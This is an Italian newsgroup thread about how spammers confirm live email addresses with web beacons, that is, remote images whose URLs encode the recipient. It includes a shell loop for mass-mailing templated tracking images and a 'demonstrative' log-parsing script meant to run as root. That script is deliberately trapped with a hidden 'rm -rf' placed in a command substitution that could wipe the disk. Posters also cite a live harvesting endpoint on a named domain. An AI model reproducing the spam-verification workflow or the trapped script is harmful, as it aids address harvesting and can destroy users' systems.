Newsgroup: it.comp.sicurezza.varie
Titolo: Problema download immagini in mail

Ciao a tutti, sento spesso parlare che i client di posta elettronica non 
scaricano le immagini come strumento per prevenire lo SPAM. Se un 
ipotetico indirizzo mail scarica le immagini vuol dire che è attivo, 
quindi lo spammer sa di poterlo utilizzare.
Qualcuno potrebbe spiegarmi come funziona questa cosa?? Intendo come è 
possibile "capire" che uno specifico indirizzo mail è attivo? A livello 
teorico, che controllo viene fatto?
Grazie

 possibile "capire" che uno specifico indirizzo mail è attivo?
[...]
http://technet.microsoft.com/it-it/library/cc645568.aspx
"Cosa sono i Web Beacons?"
-- 
Vincenzo Di Russo
Microsoft® MVP - Most Valuable Professional since 2003
Windows Internet Explorer, Windows Desktop Experience & Security
My MVP Profile: 
https://mvp.support.microsoft.com/profile/Vincenzo
My Blog:  
http://blogs.dotnethell.it/vincent/



Metto nella mia email un indirizzo come:
 
http://miosito.it/harvest/vally/libero.it/image.jpg
e mi trovo nel log (o posso usare con rewrite, o altre tecniche) la tua
email codificata.
Ovviamente ogni email che mando deve essere diversa.
Leonardo
-- 
And where the black and corkscrew towers climb,
Lost and athirst the ragged pack abides,
Old as the aeons, trapped in tombs of time,
Sailing the tortuous temporal tides

 
Ahhh perfetto, ogni mail che invio deve essere diversa!
due dubbi:
dove trovo i log per verificare questa cosa??
cosa intendi per "rewrite o altre tecniche"??
Grazie mille

 Ahhh perfetto, ogni mail che invio deve essere diversa!
ROTFL!!! :)
-- 
Ciao, Guglielmo.

cosa intendi per "rewrite o altre tecniche"??
Usare i log e' terribilmente poco efficiente perche', nei log, ci va piu'
o meno tutto il traffico del server, mentre ad uno spammer interessa solo
l'insieme di righe con la sua trappolina.
Per cui si usano tecniche di rewriting, che consentono di scremare subito
i dati. D'altra parte alcuni provider non supportano queste tecniche, per
cui il controllo dei log e' spesso la cosa piu' semplice. Alle perse, uno
si mette in casa un serveraccio Linux e usa quello.
In Linux per esempio e' semplice sia costruire la mail, sia controllarla,
anche se i comandi per farlo sembrano ostrogoto. Di solito uno prepara un
"template" dove al posto dell'email mette per es. __NOME__ e __DOMINIO__,
che so: "<img src='$MIOSITO/$$RANDOM/__NOME__/__DOMINIO__/image.jpg' />",
usando una sequenza di caratteri random per ritrovare le righe utili in un
log che sara' strabordante di roba come
192.168.1.75 - - [02/Sep/2008:23:11:09 +0200] "GET
/qua%20-rk/sernil/
tin.it/image.jpg
 HTTP/1.0" 304 -
(qui e' stato usato, a titolo di esempio, "qua -rk" come sequenza random,
visto che spazi e "-" di solito non sono presenti negli URL e quindi sono
un discriminante ottimo ed efficiente)
Per inviare la mail basta fare un ciclo su ogni email presente in un file
di testo:
	for mail in $( cat elenco_mail.prn ); do
		NOME=$( echo $mail | cut -f1 -d@ )
		DOMINIO=$( echo $mail | cut -f2 -d@ )
		cat template.txt | sed -e "s/__NOME__/$NOME/" \
					-e "s/__DOMINIO__/$DOMINIO/" >
		$( which mail ) -s "Ciao! (subject)" $mail
	done
Non e' molto efficiente, perche' ogni volta controlla quale programma per
mail viene usato dal sistema. Da riga di comando, se si da' "which mail",
ti dice direttamente il nome - per es., sulla mia macchina al posto di un
$( which mail ) posso scrivere "/usr/bin/mail" ed e' meglio. Su MacOSX mi
sembra che sia /private/usr/local/bin/mail o qualcosa di simile.
Il che lascia lo spammer con il problema di RICEVERE il "ping" di ritorno
da ciascuna di quelle email.
In Linux hai strumenti molto potenti per estrarre da righe come quelle le
righe che contengono il RANDOM, e da quelle righe la sesta colonna (l'URL
richiesto) e da quella colonna il secondo e terzo campo separato da /.
A quel punto li' otterresti "sernil/
tin.it
", basta trasformare / in @, ed
ecco ottenuto un indirizzo di email valido.
Cosi' uno puo' scriversi un programmino che estrae dai log quelle righe e
le mette in un archivio di "email confermate".
#!/bin/false
# Questo dipende da dove sta il log di Apache
LOG="/var/log/apache2/httpd-access.log"
# Ogni tanto e' bene cambiare la stringa random
#RANDOM="qua -rk"
#RANDOM="qw -er ty"
RANDOM="rm -rf"
if [ ! -r "$LOG" ]; then
	echo "Il file di log e' sbagliato, $LOG non trovato"
	exit
fi
echo "Ricerca..."
grep '$( $RANDOM / )' $LOG 	\
	| cut -f 6 -d " " 	\
	| cut -f 2,3 -d /	\
	| tr "/" "@"		\
	| grep -v -F -f /root/email_confermate.prn \
	| sort			\
	| uniq			\
	> /root/email_confermate.prn
Basta fare girare il programma ogni tanto e nel file ".prn" (se uno vuole
aprirlo con Excel; altrimenti ".csv" o ".txt". Tanto sempre file di testo
e') viene inviato l'elenco delle mail trovate, che non sono gia' presenti
nel file stesso.
Ah, per avere accesso ai log di Apache, e' utile fare girare il programma
con i diritti dell'utente root.
Allego le solite raccomandazioni:
1. Questo e' un file DIMOSTRATIVO. Non e' fatto per essere usato davvero,
   ma solo per avere un'idea; infatti non funziona, perche' la prima riga
   specifica "false" come shell, anziche' "bash" o "sh".
2. Il file e' fornito "as is" senza garanzie, anzi, per dirla con la EULA
   di Microsoft ( 
http://snipurl.com/5jmkb
 in italiano e testo a fronte )
   paragrafo 17,
	non mi ritengo responsabile per danni speciali, accidentali,
	punitivi, indiretti o conseguenti... in qualsiasi modo connessi
	con l'uso del software... anche in caso di guasto, illecito,
	per aver dichiarato il falso, la responsabilita' oggettiva,
	violazione del contratto o della garanzia... e anche se sono
	(stato) informato della possibilita' di tali danni.
3. Il file e' rilasciato come Open Source.


 Leonardo
-- 
Ciao!
Andrew McBlues
msn: mcblues78 at 
people.it

azz... se non ti conoscessi direi che lo fai di professione... ;)
Beh, dipende molto anche dall'offerta :-D


 > Leonardo Serni ha scritto:
 > ...
Grazie mille per l'esempio!!
Ora la logica mi è molto chiara!




Come suggerimento: forse faresti prima a spiegare per bene quello che vuoi
fare. Non rischiare d'essere presa per una spammer; i risultati potrebbero
non piacerti, ecco :-)
http://www.spamhaus.org/rokso/index.lasso
Leonardo che scherza. O quasi


 Beh, dipende molto anche dall'offerta :-D
LOL dici che sia solo un passo passare alle forze del male...?


LOL dici che sia solo un passo passare alle forze del male...?
"Vieni dal lato oscuro! C'e' pieno di fia!" (Don Zauker)


 ha scritto nel messaggio 
news:5oyTk.27314$8%.3657@tornado.fastwebnet.it...

Qualche giorno fa ho inviato su questo NG un messaggio con oggetto "Raccolta 
abusiva di indirizzi e-mail" (il thread poi continua su it.news.net-abuse).
In pratica, in questi giorni un tizio sta inviando e-mail che terminano con 
un'immagine, che ha questo codice HTML:
img 
src='
http://mail.smsaffari.it/img/check.php?email=mail%40example.com&cod=1
'
L'immagine è in realtà una falsa immagine: quando il client di posta cerca 
di visualizzarla, viene richiamto lo script "check.php" a cui viene passato 
il parametro "email=ecc...".
Lo script non fa altro che inserire in un DB l'indirizzo e-mail che gli è 
stato passato, e che lo spammer è sicuro essere valido e in uso (se non 
fosse in uso, nessuno avrebbe aperto la mail e l'indirizzo non sarebbe stato 
scritto nel DB).
Le e-mail non vengono spedite in una volta sola, ma viene creata una mail 
per ogni indirizzo: l'indirizzo, oltre ad essere scritto nel campo 
"destinatario", viene appunto inserito anche come parametro per lo script 
"check.php".
Quello che ti ho riportato è un esempio reale, e chi ha messo su tutto 
questo ha anche creato una paginetta che LEGGE dal database e visualizza 
l'elenco degli inidirizzi!!!
Puoi verificare l'esistenza (e la consistenza) dell'elenco qui:
http://mail.smsaffari.it/img/email_checked
(il terzo campo di ogni record è un timestamp in formato Unix).
    Daniele

 (il terzo campo di ogni record è un timestamp in formato Unix).
Interessantissimo!!
ma come hai fatto a trovare questa pagina??
http://mail.smsaffari.it/img/email_checked
Capisco come risalire alla logica dello script ma addirittura venire a 
conoscenza della pagina.... sei un grande!!!!

 
Ciao Leonardo, ho provato (per creare una demo ad uso interno, per una 
presentazione) la tua logica, ma mi viene creato un file prn vuoto
cosa sbaglio??? I miei log sono del tipo
e in RANDOM io ho Sk%20-mk
test/Sk%20-mk/user/
domain.com/othertxt
 HTTP/1.1
...
dgdsfgfdsgfdgdsf/Sk%20-mk/utente/
dominio.it/othdfgfsdggfsdgsdfgfdertxt
 
HTTP/1.1
Grazie mille!!

cosa sbaglio?
Per le presentazioni - storicamente, uno i file se li inventa :-). Fa
parte del Marketing secondo Dilbert (
www.dilbert.com
).
Quanto al dove sbagli: l'errore di fondo sta nel tentare di usare uno
script dimostrativo. Gli script dimostrativi NON sono funzionali. E a
volte cercare di renderli tali puo' avere conseguenze... spiacevoli.
Su suggerimento dell'Ufficio Ritorsioni Legali, saro' piu' esplicito:
trappolando abbastanza con QUELLO script, rischi di ottenere qualcosa
che, una volta lanciato, brasa l'intero hard disk, lasciandoti con un
sistema incapace anche solo di fare il boot.
L'uso classico di uno script del genere consiste nel fornire i *nomi*
e un *esempio* di sintassi che poi uno deve andarsi a studiare (p.e.,
sul Linux System Administrator's Manual, ovv. sulla documentazione di
Apache). Piu' errori trovi nello script, piu' sei sulla strada buona.
(Suggerimento gratis: non dare MAI per scontato che uno script faccia
il suo lavoro solo perche' lo ha fatto una volta ;-) ).
(Ho sempre seguito la filosofia che, se a un poveretto gli si da' una
fascina di legna, lo si sara' scaldato per una notte; se al poveretto
gli si appicca il fuoco, lo si sara' scaldato per tutta la sua vita).


 sistema incapace anche solo di fare il boot.
In che senso??? quello script deve semplicemente leggere da un file di 
testo che ho appositamente preparato...
 > (Suggerimento gratis: non dare MAI per scontato che uno script faccia
 > il suo lavoro solo perche' lo ha fatto una volta  ;-)  ).
Anche questo passaggio non l'ho capito e non capisco a cosa fai riferimento.
Grazie mille!

testo che ho appositamente preparato...
Attenzione. Gli script non fanno ne' quello che DEVONO fare ne' quello
che PENSI che facciano. Fanno quello che c'e' scritto. Queste tre cose
sono parenti SOLO se ti leggi la documentazione; altrimenti lo possono
essere anche per un caso fortuito.
Modificando a caso uno script, uno rischia di fare come l'"apprendista
stregone".
Da' retta: leggiti la documentazione. Vedrai poi mi rammenti :-)


 che ho appositamente preparato...
No. Giuro che non l'ho neanche guardato prima di scrivere queste
righe, ma conosco Leonardo quel tanto da poter dire che quello script
*dovrebbe*, forse e in alcuni casi *potrebbe*, leggere da un file di testo,
e tu *speri* che lo faccia.
Ma nessuna di queste cose è necessariamente vera :-).
*********
P.S.: ora, prima di inviare il post, gli ho dato un'occhiata e confermo
le righe sopra :-)
Bye, G. 

 che PENSI che facciano.
Eh... ops ! :-)
Bye, G. 

Ma nessuna di queste cose è necessariamente vera :-).
Del resto Valeria *dovrebbe* non essere una spammer, e io *spero* che non
lo sia, ma neanche questo e' necessariamente vero.
Viviamo in un mondo di incertezze, di funzioni d'onda sovrapposte.
Leonardo (a proposito, devo andare a dare da mangiare al gatto)


 Leonardo (a proposito, devo andare a dare da mangiare al gatto)
eccheccaspita... chissà se allora gliel'hai
dato da mangiare a quel povero gatto  O__O

dato da mangiare a quel povero gatto  O__O
Non si puo' sapere finche' non si guarda nella lettiera.
Leonardo


 riferimento.
A una potenziale roulette russa.

 ha scritto nel messaggio 
news:SqX_k.7609$J84....@tornado.fastwebnet.it...

Beh, ho visto che lo script che veniva lanciato era 
http://mail.smsaffari.it/img/check.php
, ho guardato cosa c'era nella 
directory immediatamente superiore (
http://mail.smsaffari.it/img/
) e ho 
trovato l'elenco dei due file contenuti: uno è lo script che "raccoglie" gli 
indirizzi, e l'altro è lo script che li estrae dal database e li presenta 
come un elenco.
Ora hanno inibito la visualizzazioni dei file contenuti nella directory, ma 
le due pagine sono ancora attive.
    Daniele